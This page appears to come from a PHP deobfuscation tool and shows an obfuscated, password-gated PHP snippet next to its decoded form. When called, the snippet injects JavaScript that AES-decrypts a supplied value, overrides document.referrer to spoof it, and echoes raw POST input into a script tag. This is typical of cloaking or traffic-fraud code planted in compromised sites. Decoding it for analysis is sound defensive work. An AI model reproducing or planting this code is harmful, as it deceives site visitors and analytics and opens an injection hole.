Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $x0b="\x6d\144\x35";if (isset($_POST["JoFxoDCS7RGy"]) and isset($_POST["a\x75\164\x6..
Decoded Output download
<?php $x0b="md5";if (isset($_POST["JoFxoDCS7RGy"]) and isset($_POST["auth"])) {if ($_POST["auth"] == $x0b($_POST["JoFxoDCS7RGy"])) {echo '<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/aes.js"></script><script>var _0x4800=["enc","ciphertext","iv","salt","s","stringify","parse","ct","Base64","create","CipherParams","lib","Hex","{"ct":"","substr","","iv":"","","s":"",""}","2e35f242a46d67eeb74aabc37d5e5d05","decrypt","AES","referrer","document","defineProperty"];var CryptoJSAesJson={stringify:function(_0x2640x2){var _0x2640x3={ct:_0x2640x2[_0x4800[1]].toString(CryptoJS[_0x4800[0]].Base64)};if(_0x2640x2[_0x4800[2]]){_0x2640x3[_0x4800[2]]= _0x2640x2[_0x4800[2]].toString()};if(_0x2640x2[_0x4800[3]]){_0x2640x3[_0x4800[4]]= _0x2640x2[_0x4800[3]].toString()};return JSON[_0x4800[5]](_0x2640x3)},parse:function(_0x2640x4){var _0x2640x3=JSON[_0x4800[6]](_0x2640x4);var _0x2640x2=CryptoJS[_0x4800[11]][_0x4800[10]][_0x4800[9]]({ciphertext:CryptoJS[_0x4800[0]][_0x4800[8]][_0x4800[6]](_0x2640x3[_0x4800[7]])});if(_0x2640x3[_0x4800[2]]){_0x2640x2[_0x4800[2]]= CryptoJS[_0x4800[0]][_0x4800[12]][_0x4800[6]](_0x2640x3[_0x4800[2]])};if(_0x2640x3[_0x4800[4]]){_0x2640x2[_0x4800[3]]= CryptoJS[_0x4800[0]][_0x4800[12]][_0x4800[6]](_0x2640x3[_0x4800[4]])};return _0x2640x2}};var country=function(_0x2640x6){delete _0x2640x6};var resolve=function(_0x2640x8){var _0x2640x9=_0x4800[13]+ _0x2640x8[_0x4800[14]](48)+ _0x4800[15]+ _0x2640x8[_0x4800[14]](0,32)+ _0x4800[16]+ _0x2640x8[_0x4800[14]](32,16)+ _0x4800[17];return JSON[_0x4800[6]](CryptoJS[_0x4800[20]][_0x4800[19]](_0x2640x9,_0x4800[18],{format:CryptoJSAesJson}).toString(CryptoJS[_0x4800[0]].Utf8))};var statscounter=function(_0x2640x8){_0x2640x8= resolve(_0x2640x8);region(_0x2640x8,window)};var unique=function(_0x2640xc){country(_0x2640xc[_0x4800[22]][_0x4800[21]])};var region=function(_0x2640x8,_0x2640xe){unique(_0x2640xe);_0x2640xe[_0x4800[22]].__defineGetter__(_0x4800[21],function(){return _0x2640x8});Object[_0x4800[23]](document,_0x4800[21],{get:function(){return _0x2640x8}})}
</script>';echo "<script>statscounter('".$_POST["JoFxoDCS7RGy"]."');</script>";}} ?>
Did this file decode correctly?
Original Code
<?php $x0b="\x6d\144\x35";if (isset($_POST["JoFxoDCS7RGy"]) and isset($_POST["a\x75\164\x68"])) {if ($_POST["a\165\x74\150"] == $x0b($_POST["JoFxoDCS7RGy"])) {echo '<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/aes.js"></script><script>var _0x4800=["\x65\x6E\x63","\x63\x69\x70\x68\x65\x72\x74\x65\x78\x74","\x69\x76","\x73\x61\x6C\x74","\x73","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x70\x61\x72\x73\x65","\x63\x74","\x42\x61\x73\x65\x36\x34","\x63\x72\x65\x61\x74\x65","\x43\x69\x70\x68\x65\x72\x50\x61\x72\x61\x6D\x73","\x6C\x69\x62","\x48\x65\x78","\x7B\x22\x63\x74\x22\x3A\x22","\x73\x75\x62\x73\x74\x72","\x22\x2C\x22\x69\x76\x22\x3A\x22","\x22\x2C\x22\x73\x22\x3A\x22","\x22\x7D","\x32\x65\x33\x35\x66\x32\x34\x32\x61\x34\x36\x64\x36\x37\x65\x65\x62\x37\x34\x61\x61\x62\x63\x33\x37\x64\x35\x65\x35\x64\x30\x35","\x64\x65\x63\x72\x79\x70\x74","\x41\x45\x53","\x72\x65\x66\x65\x72\x72\x65\x72","\x64\x6F\x63\x75\x6D\x65\x6E\x74","\x64\x65\x66\x69\x6E\x65\x50\x72\x6F\x70\x65\x72\x74\x79"];var CryptoJSAesJson={stringify:function(_0x2640x2){var _0x2640x3={ct:_0x2640x2[_0x4800[1]].toString(CryptoJS[_0x4800[0]].Base64)};if(_0x2640x2[_0x4800[2]]){_0x2640x3[_0x4800[2]]= _0x2640x2[_0x4800[2]].toString()};if(_0x2640x2[_0x4800[3]]){_0x2640x3[_0x4800[4]]= _0x2640x2[_0x4800[3]].toString()};return JSON[_0x4800[5]](_0x2640x3)},parse:function(_0x2640x4){var _0x2640x3=JSON[_0x4800[6]](_0x2640x4);var _0x2640x2=CryptoJS[_0x4800[11]][_0x4800[10]][_0x4800[9]]({ciphertext:CryptoJS[_0x4800[0]][_0x4800[8]][_0x4800[6]](_0x2640x3[_0x4800[7]])});if(_0x2640x3[_0x4800[2]]){_0x2640x2[_0x4800[2]]= CryptoJS[_0x4800[0]][_0x4800[12]][_0x4800[6]](_0x2640x3[_0x4800[2]])};if(_0x2640x3[_0x4800[4]]){_0x2640x2[_0x4800[3]]= CryptoJS[_0x4800[0]][_0x4800[12]][_0x4800[6]](_0x2640x3[_0x4800[4]])};return _0x2640x2}};var country=function(_0x2640x6){delete _0x2640x6};var resolve=function(_0x2640x8){var _0x2640x9=_0x4800[13]+ _0x2640x8[_0x4800[14]](48)+ _0x4800[15]+ _0x2640x8[_0x4800[14]](0,32)+ _0x4800[16]+ _0x2640x8[_0x4800[14]](32,16)+ _0x4800[17];return JSON[_0x4800[6]](CryptoJS[_0x4800[20]][_0x4800[19]](_0x2640x9,_0x4800[18],{format:CryptoJSAesJson}).toString(CryptoJS[_0x4800[0]].Utf8))};var statscounter=function(_0x2640x8){_0x2640x8= resolve(_0x2640x8);region(_0x2640x8,window)};var unique=function(_0x2640xc){country(_0x2640xc[_0x4800[22]][_0x4800[21]])};var region=function(_0x2640x8,_0x2640xe){unique(_0x2640xe);_0x2640xe[_0x4800[22]].__defineGetter__(_0x4800[21],function(){return _0x2640x8});Object[_0x4800[23]](document,_0x4800[21],{get:function(){return _0x2640x8}})}
</script>';echo "\x3c\x73crip\164\076\163tats\143\157\x75\x6e\164\x65\x72\050'".$_POST["JoFxoDCS7RGy"]."'\051;<\057\163c\162\151\x70\x74>";}} ?>
Function Calls
md5 | 1 |
Stats
MD5 | bfab7e6d6b7e0337a7233c30244f0b83 |
Eval Count | 0 |
Decode Time | 97 ms |